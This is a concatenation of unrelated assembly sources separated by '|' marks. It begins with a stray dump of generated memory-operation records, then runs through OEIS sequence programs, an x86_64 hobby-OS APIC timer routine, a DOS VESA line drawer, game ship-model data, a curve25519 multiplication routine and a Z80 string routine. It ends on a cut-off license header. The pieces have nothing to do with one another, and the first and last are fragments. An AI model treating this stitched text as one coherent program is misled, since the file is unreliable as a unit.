{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
; A083062: (n+1)^n/(n+2)-(-1)^n/(n+2).
; 0,1,2,13,104,1111,14706,233017,4304672,90909091,2161452050,57154490053,1664148937320,52914318216943,1824557876586914,67818912035696881,2703399548648159360,115047976828352449051,5206367514895562076642,249660952380952380952381,12646292247588706756236200,674758650917429955329341351,37826934782333173975280856722,2222892961417140207415135788073,136642833800019266513677743765024,8769401111406206995436857960684051,586542973866452076651123850025330546,40819609745385929633710256469660844597
mov $1,$0
add $1,1
pow $1,$0
add $1,$0
add $0,2
div $1,$0
mov $0,$1
|
; A135246: Shifted Pell recurrence: a(n) = 2*a(n-2) + a(n-4).
; 1,3,5,7,11,17,27,41,65,99,157,239,379,577,915,1393,2209,3363,5333,8119,12875,19601,31083,47321,75041,114243,181165,275807,437371,665857,1055907,1607521,2549185,3880899,6154277,9369319,14857739,22619537,35869755,54608393,86597249,131836323,209064253,318281039,504725755,768398401,1218515763,1855077841,2941757281,4478554083,7102030325,10812186007,17145817931,26102926097,41393666187,63018038201,99933150305,152139002499,241259966797,367296043199,582453083899,886731088897,1406166134595,2140758220993,3394785353089,5168247530883,8195736840773,12477253282759,19786259034635,30122754096401,47768254910043,72722761475561,115322768854721,175568277047523,278413792619485,423859315570607,672150354093691,1023286908188737,1622714500806867,2470433131948081,3917579355707425,5964153172084899
mov $1,1
lpb $0
mov $2,$0
cal $2,2965 ; Interleave denominators (A000129) and numerators (A001333) of convergents to sqrt(2).
sub $0,1
add $1,$2
lpe
sub $1,1
mul $1,2
add $1,1
|
;###############################################################################
;# File name: KERNEL/LAT.ASM
;# DESCRIPTION: LOCAL APIC TIMER
;# AUTHOR: RAMSES A.
;###############################################################################
;#
;# UPCR OPERATING SYSTEM FOR X86_64 ARCHITECTURE
;# COPYRIGHT (C) 2021 RAMSES A.
;#
;# PERMISSION IS HEREBY GRANTED, FREE OF CHARGE, TO ANY PERSON OBTAINING A COPY
;# OF THIS SOFTWARE AND ASSOCIATED DOCUMENTATION FILES (THE "SOFTWARE"), TO DEAL
;# IN THE SOFTWARE WITHOUT RESTRICTION, INCLUDING WITHOUT LIMITATION THE RIGHTS
;# TO USE, COPY, MODIFY, MERGE, PUBLISH, DISTRIBUTE, SUBLICENSE, AND/OR SELL
;# COPIES OF THE SOFTWARE, AND TO PERMIT PERSONS TO WHOM THE SOFTWARE IS
;# FURNISHED TO DO SO, SUBJECT TO THE FOLLOWING CONDITIONS:
;#
;# THE ABOVE COPYRIGHT NOTICE AND THIS PERMISSION NOTICE SHALL BE INCLUDED IN ALL
;# COPIES OR SUBSTANTIAL PORTIONS OF THE SOFTWARE.
;#
;###############################################################################
;#
;# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
;# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
;# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
;# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
;# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
;# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
;# SOFTWARE.
;#
;###############################################################################
;###############################################################################
;# INCLUDES #
;###############################################################################
;# COMMON DEFINITIONS USED BY KERNEL
INCLUDE "kernel/macro.inc"
;###############################################################################
;# GLOBALS #
;###############################################################################
;# GLOBAL SYMBOLS
PUBLIC KLATINIT
;###############################################################################
;# TEXT SECTION #
;###############################################################################
;# TEXT SECTION
SEGMENT ".text"
;#-----------------------------------------------------------------------------#
;# KLATINIT() #
;#-----------------------------------------------------------------------------#
KLATINIT: ;# INITIALIZE TIMER DIVIDER REGISTER
MOV EAX, 0x0A
MOV EDI, LAPIC_TMRDIVD
MOV [EDI], EAX
;# START TIMER
MOV EAX, 0xFFFFFFFF
MOV EDI, LAPIC_TMRINIT
MOV [EDI], EAX
;# WAIT FOR 10 MS.
MOV RDI, PIT_CTR_10MS
CALL KPITCH2
;# READ TIMER
MOV EDI, LAPIC_TMRCURR
MOV ECX, [EDI]
;# STOP TIMER
XOR EAX, EAX
MOV EDI, LAPIC_TMRINIT
MOV [EDI], EAX
;# RESET TIMER DIVIDER REGISTER
MOV EAX, 0x0B
MOV EDI, LAPIC_TMRDIVD
MOV [EDI], EAX
;# COMPUTE TIMER FREQUENCY
SUB EAX, ECX
DEC EAX
SHL EAX, 7
XOR EDX, EDX
MOV ECX, 10000
DIV ECX
MOV [RIP+KLATFREQ], EAX
;# PRINT TIMER FREQUENCY
LEA RDI, [RIP+KLATNAME]
CALL KCONMOD
LEA RDI, [RIP+KLATMSG]
CALL KCONSTR
MOV RDI, [RIP+KLATFREQ]
CALL KCONDEC
MOV RDI, 'M'
CALL KCONCHR
MOV RDI, 'H'
CALL KCONCHR
MOV RDI, 'z'
CALL KCONCHR
MOV RDI, '\n'
CALL KCONCHR
;# DONE
XOR RAX, RAX
RET
;###############################################################################
;# DATA SECTION #
;###############################################################################
;# DATA SECTION
SEGMENT ".data"
;#-----------------------------------------------------------------------------#
;# MODULE DATA #
;#-----------------------------------------------------------------------------#
;# TIMER FREQUENCY
KLATFREQ: DQ 0
;#-----------------------------------------------------------------------------#
;# LOGGING STRINGS #
;#-----------------------------------------------------------------------------#
;# LAT HEADING AND ASCII STRINGS
KLATNAME: DB "KERNEL LAT\0"
KLATMSG: DB "APIC TIMER FREQUENCY: \0"
|
format MZ
use16
entry main:start
segment main
macro PgDown
{push bx
push dx
xor bx,bx
mov dx,[cs:winpos]
add dx,[cs:disp64k]
mov [cs:winpos],dx
call [cs:winfunc]
pop dx
pop bx}
macro PgUp
{push bx
push dx
xor bx,bx
mov dx,[cs:winpos]
sub dx,1
mov [cs:winpos],dx
call [cs:winfunc]
add di,[cs:granmask]
inc di
pop dx
pop bx}
start:
call GetVESA ;init variables related to VESA support
mov ax,4f02h ;\
mov bx,0101h ; VESA mode 101h (640x480x8bit)
int 10h ;/
mov ax,0a000h
mov ds,ax
mov eax,1h ;\
mov ebx,13h
mov ecx,20bh ;test Lin procedure
mov edx,1a1h
mov ebp,21h
call Lin ;/
xor ah,ah
int 16h
mov ax,4c00h
int 21h
GetVESA:
;This is just a hack to get the window-function address for a direct call,
;and to initialize variables based upon the window granularity
mov ax,4f01h ;\
mov cx,0101h
lea di,[buff] ; use VESA mode info call to
push cs ; get card stats for mode 101h
pop es
int 10h ;/
add di,4
mov ax,word [es:di] ;get window granularity (in KB)
shl ax,0ah
dec ax
mov [cs:granmask],ax ; = granularity - 1 (in Bytes)
not ax
clc
GVL1: inc [cs:bitshift] ;\
rcl ax,1 ; just a way to get vars I need :)
jc GVL1 ;/
add [cs:bitshift],0fh
inc ax
mov [disp64k],ax
add di,8
mov eax,dword [es:di] ;get address of window control
mov [cs:winfunc],eax
ret
Lin:
;Codesegment: Lin
;Inputs: eax: x1, ebx: y1, cx: x2, dx: y2, bp: color
;Destroys: ax, bx, cx, edx, si, edi
;Global: winfunc(dd),winpos(dw),page(dw),granmask(dw),disp64k(dw),bitshift(db)
;Assumes: eax, ebx have clear high words
cmp dx,bx ;\
ja LinS1 ; sort vertices
xchg ax,cx
xchg bx,dx ;/
LinS1: sub cx,ax ;\
ja LinS2 ; calculate deltax and
neg cx ; modify core loop based on sign
xor byte [cs:xinc1],28h ;/
LinS2: sub dx,bx ;deltay
neg dx
dec dx
shl bx,7 ;\
add ax,bx ; calc linear start address
lea edi,[eax+ebx*4] ;/
mov si,dx ;\
xor bx,bx
mov ax,[cs:page] ;\
shl ax,2 ; pageOffset=page*5*disp64K
add ax,[cs:page]
mul [cs:disp64k] ;/
push cx ; initialize CPU window
mov cl,[cs:bitshift] ; to top of line
shld edx,edi,cl
pop cx
add dx,ax
and di,[cs:granmask]
mov [cs:winpos],dx
call [cs:winfunc]
mov dx,si ;/
mov ax,bp
mov bx,dx
;ax:color, bx:err-accumulator, cx:deltaX, dx:vertical count,
;di:location in CPU window, si:deltaY, bp:color
LinL1: mov [di],al ;\
add bx,cx
jns LinS3
LinE1: add di,280h
jc LinR2 ; core routine to
inc dx ; render line
jnz LinL1
jmp LinOut
LinL2: mov [di],al ;\
xinc1: db 0
LinS3: add di,1 ; this deals with
jc LinR1 ; horizontal pixel runs
LinE2: add bx,si
jns LinL2 ;/
jmp LinE1 ;/
LinR1: js LinS7 ;\
PgDown ; move page down 64k
mov ax,bp
jmp LinE2
LinS7: PgUp ; or up by 'granularity'
mov ax,bp
jmp LinE2 ;/
LinR2: PgDown ;\
mov ax,bp ; move page down 64k
inc dx
jnz LinL1 ;/
LinOut: mov byte[cs:xinc1],0c7h
ret
winfunc dd ? ;fullpointer to VESA setwindow function
winpos dw ?;temp storage of CPU window position
granmask dw ? ;masks address within window granularity
disp64k dw ? ;number of 'granules' in 64k
page dw 0 ;video page (0,1,2 for 1MB video)
bitshift db 0 ;used to extract high order address bits
;\ for setting CPU window
buff: times 100h db ?
|
Monitor: DB $04, $36, $00
DW MonitorEdges
DB MonitorEdgesSize
DB $00, $2A
DB MonitorVertSize
DB MonitorEdgesCnt
DB $01, $90
DB MonitorNormalsSize
DB $28, $84, $10
DW MonitorNormals
DB $00, $37
DW MonitorVertices
DB 0,0 ; Type and Tactics
MonitorVertices: DB $00, $0A, $8C, $1F, $FF, $FF
DB $14, $28, $14, $3F, $23, $01
DB $14, $28, $14, $BF, $50, $34
DB $32, $00, $0A, $1F, $78, $12
DB $32, $00, $0A, $9F, $96, $45
DB $1E, $04, $3C, $3F, $AA, $28
DB $1E, $04, $3C, $BF, $AA, $49
DB $12, $14, $3C, $3F, $AA, $23
DB $12, $14, $3C, $BF, $AA, $34
DB $00, $14, $3C, $7F, $AA, $89
DB $00, $28, $0A, $5F, $89, $67
DB $00, $22, $0A, $0A, $00, $00
DB $00, $1A, $32, $0A, $00, $00
DB $14, $0A, $3C, $4A, $77, $77
DB $0A, $00, $64, $0A, $77, $77
DB $14, $0A, $3C, $CA, $66, $66
DB $0A, $00, $64, $8A, $66, $66
MonitorVertSize: equ $ - MonitorVertices
MonitorEdges: DB $1F, $01, $00, $04
DB $1F, $12, $04, $0C
DB $1F, $23, $04, $1C
DB $1F, $34, $08, $20
DB $1F, $45, $08, $10
DB $1F, $50, $00, $08
DB $1F, $03, $04, $08
DB $1F, $67, $00, $28
DB $1F, $78, $0C, $28
DB $1F, $89, $24, $28
DB $1F, $96, $10, $28
DB $1F, $17, $00, $0C
DB $1F, $28, $0C, $14
DB $1F, $49, $18, $10
DB $1F, $56, $10, $00
DB $1F, $2A, $1C, $14
DB $1F, $3A, $20, $1C
DB $1F, $4A, $20, $18
DB $1F, $8A, $14, $24
DB $1F, $9A, $18, $24
DB $0A, $00, $2C, $30
DB $0A, $77, $34, $38
DB $0A, $66, $3C, $40
MonitorEdgesSize: equ $ - MonitorEdges
MonitorEdgesCnt: equ MonitorEdgesSize/4
MonitorNormals: DB $1F, $00, $3E, $0B
DB $1F, $2C, $2B, $0D
DB $3F, $36, $1C, $10
DB $3F, $00, $39, $1C
DB $BF, $36, $1C, $10
DB $9F, $2C, $2B, $0D
DB $DF, $26, $2F, $12
DB $5F, $26, $2F, $12
DB $7F, $27, $30, $0D
DB $FF, $27, $30, $0D
DB $3F, $00, $00, $40
MonitorNormalsSize: equ $ - MonitorNormals
MonitorLen: equ $ - Monitor
|
; A024043: a(n) = 4^n - n^7.
; 1,3,-112,-2123,-16128,-77101,-275840,-807159,-2031616,-4520825,-8951424,-15292867,-19054592,4360347,163021952,902882449,4026531840,16769530511,68107256704,273984035205,1098231627776,4396245422563,17589691686528,70365339352217,281470390239232,1125893803326999,4503591595560320,18014388049128781,72057580544999424,288230358901835435,1152921482736846976,4611685990914773793,18446744039349813248,73786976252219763487,295147905126829475712,1180591620653072006549,4722366482791281049600,18889465931383648977651,75557863725799907836544,302231454903520062669865,1208925819614465334706176,4835703278458321944550823,19342813113833836255965568,77371252455335995362584157,309485009821344749446971392,1237940039285379901229671099,4951760157141520663778839680,19807040628566083891762867121,79228162514264337006475608064,316912650057057349695952728495,1267650600228229400715453205376,5070602400912917605089402143653,20282409603651670422919179583488,81129638414606681694614294004227,324518553658426726781817095366272,1298074214633706907131101647070649,5192296858534827628528769234370560,20769187434139310514120030419387191,83076749736557242056485733283353984,332306998946228968225949276418601325
mov $1,4
pow $1,$0
pow $0,7
add $0,1
sub $1,$0
add $1,1
mov $0,$1
|
SECTION .text
GLOBAL mul_curve25519
mul_curve25519:
sub rsp, 0x88
imul rax, [ rdx + 0x20 ], 0x13; x10000 <- arg2[4] * 0x13
imul r10, [ rdx + 0x18 ], 0x13; x10001 <- arg2[3] * 0x13
imul r11, [ rdx + 0x10 ], 0x13; x10002 <- arg2[2] * 0x13
imul rcx, [ rdx + 0x8 ], 0x13; x10003 <- arg2[1] * 0x13
mov r8, rdx; preserving value of arg2 into a new reg
mov rdx, [ rsi + 0x8 ]; saving arg1[1] in rdx.
mov [ rsp + 0x0 ], r15; spilling callerSaver15 to mem
mulx r9, r15, rax; x20, x19<- arg1[1] * x10000
mov rdx, [ r8 + 0x0 ]; arg2[0] to rdx
mov [ rsp + 0x8 ], r14; spilling callerSaver14 to mem
mov [ rsp + 0x10 ], r13; spilling callerSaver13 to mem
mulx r14, r13, [ rsi + 0x0 ]; x50, x49<- arg1[0] * arg2[0]
mov rdx, r10; x10001 to rdx
mov [ rsp + 0x18 ], r12; spilling callerSaver12 to mem
mulx r10, r12, [ rsi + 0x10 ]; x18, x17<- arg1[2] * x10001
mov [ rsp + 0x20 ], rbp; spilling callerSaverbp to mem
mov rbp, rdx; preserving value of x10001 into a new reg
mov rdx, [ rsi + 0x18 ]; saving arg1[3] in rdx.
mov [ rsp + 0x28 ], rbx; spilling callerSaverbx to mem
mov [ rsp + 0x30 ], rdi; spilling out1 to mem
mulx rbx, rdi, r11; x14, x13<- arg1[3] * x10002
mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx
mov [ rsp + 0x38 ], r14; spilling x50 to mem
mulx rcx, r14, rcx; x8, x7<- arg1[4] * x10003
mov [ rsp + 0x40 ], r9; spilling x20 to mem
xor r9, r9
adox r14, rdi
adcx r14, r12
seto r12b; spill OF x52 to reg (r12)
mov rdi, -0x3 ; moving imm to reg
inc rdi; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort
adox r14, r15
setc r15b; spill CF x56 to reg (r15)
clc;
adcx r14, r13
movzx r12, r12b
lea rbx, [ rbx + rcx ]
lea rbx, [ rbx + r12 ]
movzx r15, r15b
lea r10, [ r10 + rbx ]
lea r10, [ r10 + r15 ]
adox r10, [ rsp + 0x40 ]
adcx r10, [ rsp + 0x38 ]
mov r13, r14; x67, copying x63 here, cause x63 is needed in a reg for other than x67, namely all: , x67, x68, size: 2
shrd r13, r10, 51; x67 <- x65||x63 >> 51
mov rcx, 0x33 ; moving imm to reg
bzhi r14, r14, rcx; x68 <- x63 (only least 0x33 bits)
mov rdx, [ r8 + 0x8 ]; arg2[1] to rdx
mulx r12, r15, [ rsi + 0x0 ]; x48, x47<- arg1[0] * arg2[1]
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx rbx, r10, [ r8 + 0x0 ]; x40, x39<- arg1[1] * arg2[0]
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx r9, rcx, rax; x16, x15<- arg1[2] * x10000
mov rdx, rbp; x10001 to rdx
mov [ rsp + 0x48 ], r14; spilling x68 to mem
mulx rdi, r14, [ rsi + 0x18 ]; x12, x11<- arg1[3] * x10001
xchg rdx, r11; x10002, swapping with x10001, which is currently in rdx
mov [ rsp + 0x50 ], r12; spilling x48 to mem
mulx rdx, r12, [ rsi + 0x20 ]; x6, x5<- arg1[4] * x10002
adox r12, r14
clc;
adcx r12, rcx
seto cl; spill OF x118 to reg (rcx)
mov r14, -0x2 ; moving imm to reg
inc r14; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r12, r10
setc r10b; spill CF x122 to reg (r10)
clc;
adcx r12, r15
seto r15b; spill OF x126 to reg (r15)
inc r14; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0))
adox r12, r13
movzx rcx, cl
lea rdi, [ rdi + rdx ]
lea rdi, [ rdi + rcx ]
movzx r10, r10b
lea r9, [ r9 + rdi ]
lea r9, [ r9 + r10 ]
movzx r15, r15b
lea rbx, [ rbx + r9 ]
lea rbx, [ rbx + r15 ]
adcx rbx, [ rsp + 0x50 ]
adox rbx, r14
mov r13, r12; x136, copying x133 here, cause x133 is needed in a reg for other than x136, namely all: , x136, x137, size: 2
shrd r13, rbx, 51; x136 <- x135||x133 >> 51
mov rdx, 0x7ffffffffffff ; moving imm to reg
and r12, rdx; x137 <- x133&0x7ffffffffffff
mov rcx, rdx; preserving value of 0x7ffffffffffff into a new reg
mov rdx, [ rsi + 0x0 ]; saving arg1[0] in rdx.
mulx r10, r15, [ r8 + 0x10 ]; x46, x45<- arg1[0] * arg2[2]
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx rdi, r9, [ r8 + 0x8 ]; x38, x37<- arg1[1] * arg2[1]
mov rdx, [ r8 + 0x0 ]; arg2[0] to rdx
mulx rbx, r14, [ rsi + 0x10 ]; x32, x31<- arg1[2] * arg2[0]
mov rdx, rax; x10000 to rdx
mulx rax, rcx, [ rsi + 0x18 ]; x10, x9<- arg1[3] * x10000
mov [ rsp + 0x58 ], r12; spilling x137 to mem
mov r12, rdx; preserving value of x10000 into a new reg
mov rdx, [ rsi + 0x20 ]; saving arg1[4] in rdx.
mov [ rsp + 0x60 ], r10; spilling x46 to mem
mulx r11, r10, r11; x4, x3<- arg1[4] * x10001
adox r10, rcx
adcx r10, r14
setc r14b; spill CF x106 to reg (r14)
clc;
adcx r10, r9
seto r9b; spill OF x102 to reg (r9)
mov rcx, -0x2 ; moving imm to reg
inc rcx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r10, r15
setc r15b; spill CF x110 to reg (r15)
clc;
adcx r10, r13
movzx r9, r9b
lea rax, [ rax + r11 ]
lea rax, [ rax + r9 ]
movzx r14, r14b
lea rbx, [ rbx + rax ]
lea rbx, [ rbx + r14 ]
movzx r15, r15b
lea rdi, [ rdi + rbx ]
lea rdi, [ rdi + r15 ]
adox rdi, [ rsp + 0x60 ]
adc rdi, 0x0
mov r13, r10; x141, copying x138 here, cause x138 is needed in a reg for other than x141, namely all: , x141, x142, size: 2
shrd r13, rdi, 51; x141 <- x140||x138 >> 51
mov r11, 0x33 ; moving imm to reg
bzhi r10, r10, r11; x142 <- x138 (only least 0x33 bits)
mov rdx, [ r8 + 0x18 ]; arg2[3] to rdx
mulx r9, r14, [ rsi + 0x0 ]; x44, x43<- arg1[0] * arg2[3]
mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx
mulx r15, rax, [ r8 + 0x10 ]; x36, x35<- arg1[1] * arg2[2]
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx rbx, rdi, [ r8 + 0x8 ]; x30, x29<- arg1[2] * arg2[1]
mov rdx, [ r8 + 0x0 ]; arg2[0] to rdx
mulx r11, rcx, [ rsi + 0x18 ]; x26, x25<- arg1[3] * arg2[0]
mov rdx, r12; x10000 to rdx
mov [ rsp + 0x68 ], r10; spilling x142 to mem
mulx rdx, r10, [ rsi + 0x20 ]; x2, x1<- arg1[4] * x10000
adox r10, rcx
clc;
adcx r10, rdi
seto dil; spill OF x86 to reg (rdi)
mov rcx, -0x2 ; moving imm to reg
inc rcx; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox r10, rax
seto al; spill OF x94 to reg (rax)
inc rcx; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0))
adox r10, r14
seto r14b; spill OF x98 to reg (r14)
mov [ rsp + 0x70 ], r9; spilling x44 to mem
mov r9, -0x3 ; moving imm to reg
inc r9; OF<-0x0, preserve CF (debug 7; load -3, increase it, save it as -2). #last resort
adox r10, r13
movzx rdi, dil
lea r11, [ r11 + rdx ]
lea r11, [ r11 + rdi ]
adcx rbx, r11
movzx rax, al
lea r15, [ r15 + rbx ]
lea r15, [ r15 + rax ]
movzx r14, r14b
lea r15, [ r14 + r15 ]
mov r14, [ rsp + 0x70 ]
lea r15, [r14+r15]
adox r15, rcx
mov r13, r10; x146, copying x143 here, cause x143 is needed in a reg for other than x146, namely all: , x146, x147, size: 2
shrd r13, r15, 51; x146 <- x145||x143 >> 51
mov rdx, 0x33 ; moving imm to reg
bzhi r10, r10, rdx; x147 <- x143 (only least 0x33 bits)
mov rdx, [ r8 + 0x20 ]; arg2[4] to rdx
mulx rdx, rdi, [ rsi + 0x0 ]; x42, x41<- arg1[0] * arg2[4]
mov rax, rdx; preserving value of x42 into a new reg
mov rdx, [ r8 + 0x18 ]; saving arg2[3] in rdx.
mulx r14, r11, [ rsi + 0x8 ]; x34, x33<- arg1[1] * arg2[3]
mov rdx, [ r8 + 0x8 ]; arg2[1] to rdx
mulx rbx, r15, [ rsi + 0x18 ]; x24, x23<- arg1[3] * arg2[1]
mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx
mulx rcx, r9, [ r8 + 0x10 ]; x28, x27<- arg1[2] * arg2[2]
mov rdx, [ rsi + 0x20 ]; arg1[4] to rdx
mov [ rsp + 0x78 ], r10; spilling x147 to mem
mov [ rsp + 0x80 ], rax; spilling x42 to mem
mulx r10, rax, [ r8 + 0x0 ]; x22, x21<- arg1[4] * arg2[0]
adox rax, r15
clc;
adcx rax, r9
setc r15b; spill CF x74 to reg (r15)
clc;
adcx rax, r11
setc r11b; spill CF x78 to reg (r11)
clc;
adcx rax, rdi
seto dil; spill OF x70 to reg (rdi)
mov r9, -0x2 ; moving imm to reg
inc r9; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1)
adox rax, r13
movzx rdi, dil
lea rbx, [ rbx + r10 ]
lea rbx, [ rbx + rdi ]
movzx r15, r15b
lea rcx, [ rcx + rbx ]
lea rcx, [ rcx + r15 ]
movzx r11, r11b
lea r14, [ r14 + rcx ]
lea r14, [ r14 + r11 ]
adcx r14, [ rsp + 0x80 ]
mov r13, 0x0 ; moving imm to reg
adox r14, r13
mov r10, rax; x151, copying x148 here, cause x148 is needed in a reg for other than x151, namely all: , x151, x152, size: 2
shrd r10, r14, 51; x151 <- x150||x148 >> 51
imul r10, r10, 0x13; x153 <- x151 * 0x13
mov rdi, 0x33 ; moving imm to reg
bzhi rax, rax, rdi; x152 <- x148 (only least 0x33 bits)
add r10, [ rsp + 0x48 ]
mov r15, r10; x155, copying x154 here, cause x154 is needed in a reg for other than x155, namely all: , x155, x156, size: 2
shr r15, 51; x155 <- x154>> 51
mov r11, 0x7ffffffffffff ; moving imm to reg
and r10, r11; x156 <- x154&0x7ffffffffffff
add r15, [ rsp + 0x58 ]
mov rbx, r15; x158, copying x157 here, cause x157 is needed in a reg for other than x158, namely all: , x158, x159, size: 2
shr rbx, 51; x158 <- x157>> 51
and r15, r11; x159 <- x157&0x7ffffffffffff
add rbx, [ rsp + 0x68 ]
mov rcx, [ rsp + 0x30 ]; load m64 out1 to register64
mov [ rcx + 0x0 ], r10; out1[0] = x156
mov [ rcx + 0x8 ], r15; out1[1] = x159
mov [ rcx + 0x10 ], rbx; out1[2] = x160
mov r14, [ rsp + 0x78 ]; TMP = x147
mov [ rcx + 0x18 ], r14; out1[3] = TMP
mov [ rcx + 0x20 ], rax; out1[4] = x152
mov r15, [ rsp + 0x0 ] ; pop
mov r14, [ rsp + 0x8 ] ; pop
mov r13, [ rsp + 0x10 ] ; pop
mov r12, [ rsp + 0x18 ] ; pop
mov rbp, [ rsp + 0x20 ] ; pop
mov rbx, [ rsp + 0x28 ] ; pop
add rsp, 0x88
ret
; cpu Intel(R) Core(TM) i5-8265U CPU @ 1.60GHz
; ratio 0.9377
; seed 1785685356
; CC / CFLAGS clang / -march=native -mtune=native -O3
; time needed: 573 ms / 10 evals=> 57.3ms/eval
; Time spent for assembling and measureing (initial batch_size=111, initial num_batches=31): 41 ms
; number of used evaluations: 10
; Ratio (time for assembling + measure)/(total runtime for 10 evals): 0.07155322862129145
; number reverted permutation/ tried permutation: 1 / 4 =25.000%
; number reverted decision/ tried decision: 3 / 6 =50.000% |
; ===============================================================
; Jan 2014
; ===============================================================
;
; char *_memlwr(void *p, size_t n)
;
; Change letters in buffer p to lower case.
;
; ===============================================================
SECTION code_clib
SECTION code_string
PUBLIC asm__memlwr
EXTERN asm_tolower
asm__memlwr:
; enter : hl = void *p
; bc = size_t n
;
; exit : hl = void *p
; bc = 0
;
; uses : af, bc
ld a,b
or c
ret z
push hl
loop:
ld a,(hl)
call asm_tolower
ld (hl),a
IF __CPU_GBZ80__
inc hl
dec bc
ld a,b
or c
jp nz,loop
ELSE
cpi ; hl++, bc--
jp pe, loop
ENDIF
pop hl
ret
|
// Copyright 2019 The Alcor Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
